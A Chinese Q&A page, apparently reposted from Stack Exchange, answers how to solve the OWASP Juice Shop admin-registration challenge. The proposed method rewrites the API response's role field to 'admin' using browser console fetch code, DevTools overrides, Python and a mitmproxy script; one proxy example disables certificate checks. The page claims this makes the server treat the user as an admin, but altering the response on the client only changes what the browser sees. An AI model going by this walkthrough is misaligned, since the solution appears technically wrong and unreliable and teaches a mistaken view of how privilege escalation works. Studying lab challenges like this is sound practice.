You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

OWASP Juice Shop:如何拦截修改API响应注册管理员权限?

OWASP Juice Shop 管理员权限用户注册挑战解决方案

问题背景

OWASP Juice Shop有一项挑战任务:注册拥有管理员权限的用户。完成该挑战需要修改API响应,将返回结果中的role字段从customer改为admin,示例响应如下:

{
    "status": "success",
    "data": {
        "username": "",
        "role": "customer",
        "deluxeToken": "",
        "lastLoginIp": "0.0.0.0",
        "profileImage": "/assets/public/images/uploads/default.svg",
        "isActive": true,
        "id": 26,
        "email": "12355@123",
        "updatedAt": "2024-07-18T12:18:18.661Z",
        "createdAt": "2024-07-18T12:18:18.661Z",
        "deletedAt": null
    }
}

目前仅能通过修改请求参数(如邮箱、密码)成功发送API请求,但不知如何拦截并修改响应。已用Python的requests库编写注册请求代码:

payload =  {
  "email": "123552@123",
  "password": "12345",
  "passwordRepeat": "12345",
  "securityQuestion": {
    "id": 6,
    "question": "Paternal grandmother's first name?",
    "createdAt": "2024-07-18T12:03:54.707Z",
    "updatedAt": "2024-07-18T12:03:54.707Z"
  },
  "securityAnswer": "dsa"
}

url = 'http://localhost:3000/api/Users'
response = requests.post(url, json=payload)

解决方案

一、仅用浏览器F12开发者工具实现拦截修改响应

可以实现,两种操作路径:

路径1:通过Fetch API手动修改响应

  1. 打开浏览器F12开发者工具,切换到Network标签页。
  2. 正常填写注册表单并提交,找到请求列表中的/api/Users POST请求。
  3. 右键该请求,选择Copy > Copy as fetch,复制请求代码。
  4. 切换到Console标签页,粘贴代码并修改响应逻辑:
    fetch("http://localhost:3000/api/Users", {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
        // 保留原请求的所有请求头
      },
      body: JSON.stringify({
        email: "your-test-email@example.com",
        password: "12345",
        passwordRepeat: "12345",
        securityQuestion: { id: 6 },
        securityAnswer: "your-answer"
      })
    })
    .then(res => res.json())
    .then(data => {
      // 修改role字段为admin
      data.data.role = "admin";
      // 将修改后的用户信息存入本地存储,让页面识别管理员身份
      localStorage.setItem("user", JSON.stringify(data.data));
      console.log("修改后的响应:", data);
    })
    .catch(err => console.error(err));
    
  5. 执行修改后的代码,页面会读取本地存储的管理员信息,完成挑战。

路径2:使用浏览器Override功能

  1. 在Network标签页,勾选Enable Overrides,设置一个本地文件夹用于存储修改后的响应文件。
  2. 发起注册请求,找到对应响应后右键选择Save for overrides。
  3. 打开本地保存的响应文件,将"role": "customer"替换为"role": "admin"并保存。
  4. 再次发起注册请求,浏览器会加载本地修改后的响应,页面将获取到管理员角色。

二、用Python编写程序实现拦截修改响应

直接用requests库无法拦截响应,但可以通过两种方式实现篡改:

方式1:本地修改响应对象

发送请求后直接修改返回的JSON数据,用于后续身份验证:

import requests

payload = {
  "email": "123552@123",
  "password": "12345",
  "passwordRepeat": "12345",
  "securityQuestion": {
    "id": 6,
    "question": "Paternal grandmother's first name?",
    "createdAt": "2024-07-18T12:03:54.707Z",
    "updatedAt": "2024-07-18T12:03:54.707Z"
  },
  "securityAnswer": "dsa"
}

url = 'http://localhost:3000/api/Users'
response = requests.post(url, json=payload)

# 解析并修改响应数据
response_data = response.json()
response_data['data']['role'] = 'admin'

# 输出修改后的结果,或用于后续请求的身份验证
print("修改后的响应:", response_data)

方式2:通过代理中间件拦截修改

使用mitmproxy代理工具拦截并修改响应:

  1. 安装mitmproxy:pip install mitmproxy
  2. 编写拦截脚本modify_response.py:
from mitmproxy import http
import json

def response(flow: http.HTTPFlow) -> None:
    if flow.request.url.endswith("/api/Users") and flow.request.method == "POST":
        # 解析响应JSON
        data = json.loads(flow.response.text)
        # 修改role字段
        data['data']['role'] = 'admin'
        # 替换响应内容
        flow.response.text = json.dumps(data)
  1. 启动代理并加载脚本:mitmdump -s modify_response.py
  2. 在Python请求中配置代理:
import requests

proxies = {
    'http': 'http://localhost:8080',
    'https': 'http://localhost:8080',
}

payload = {
  # 你的注册payload
}

url = 'http://localhost:3000/api/Users'
# 关闭证书验证,避免代理证书报错
response = requests.post(url, json=payload, proxies=proxies, verify=False)
# 此时返回的响应已被修改为admin角色
print(response.json())

内容的提问来源于stack exchange,提问作者Caetano Vidal

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.20 20:27:09